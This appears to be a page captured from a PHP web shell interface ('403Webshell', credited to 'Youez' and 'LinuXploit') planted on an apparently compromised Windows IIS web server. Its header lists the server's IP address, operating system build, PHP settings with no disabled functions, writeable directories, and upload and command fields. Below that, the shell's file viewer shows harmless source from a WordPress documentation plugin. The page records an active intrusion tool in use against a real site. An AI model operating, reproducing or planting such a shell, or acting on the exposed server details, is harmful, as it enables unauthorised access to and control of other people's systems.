403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/KnowledgeBase/wp-content/plugins/betterdocs/includes/Core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/KnowledgeBase/wp-content/plugins/betterdocs/includes/Core/ShortcodeFactory.php
<?php

namespace WPDeveloper\BetterDocs\Core;

use WPDeveloper\BetterDocs\Utils\Base;
use WPDeveloper\BetterDocs\Shortcodes\ToC;
use WPDeveloper\BetterDocs\Shortcodes\FaqList;
use WPDeveloper\BetterDocs\Shortcodes\Reactions;
use WPDeveloper\BetterDocs\Shortcodes\FaqClassic;
use WPDeveloper\BetterDocs\Shortcodes\SearchForm;
use WPDeveloper\BetterDocs\Shortcodes\CategoryBox;
use WPDeveloper\BetterDocs\Shortcodes\SocialShare;
use WPDeveloper\BetterDocs\Shortcodes\CategoryGrid;
use WPDeveloper\BetterDocs\Shortcodes\CategoryList;
use WPDeveloper\BetterDocs\Shortcodes\FeedbackForm;
use WPDeveloper\BetterDocs\Dependencies\DI\Container;

class ShortcodeFactory extends Base {
    /**
     * Summary of Container
     * @var Container
     */
    private $container;

    public function __construct( Container $container ) {
        $this->container = $container;
    }

    /**
     * Shortcode Lists
     *
     * @since 2.5.0
     *
     * @return array<string>
     */
    private function shortcode_list() {
        return apply_filters('betterdocs_shortcodes', [
            CategoryBox::class,
            CategoryGrid::class,
            CategoryList::class,
            SearchForm::class,
            ToC::class,
            SocialShare::class,
            FeedbackForm::class,
            FaqClassic::class,
            FaqList::class,
            Reactions::class
        ]);
    }

    /**
     * Initialize all shortcodes
     * @return void
     */
    public function init() {
        if ( ! empty( $shortcodes = $this->shortcode_list() ) ) {
            foreach ( $shortcodes as $shortcode ) {
                $shortcode = $this->container->get( $shortcode );
                add_shortcode( $shortcode->get_name(), [$shortcode, 'render_with_hooks'] );
            }
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit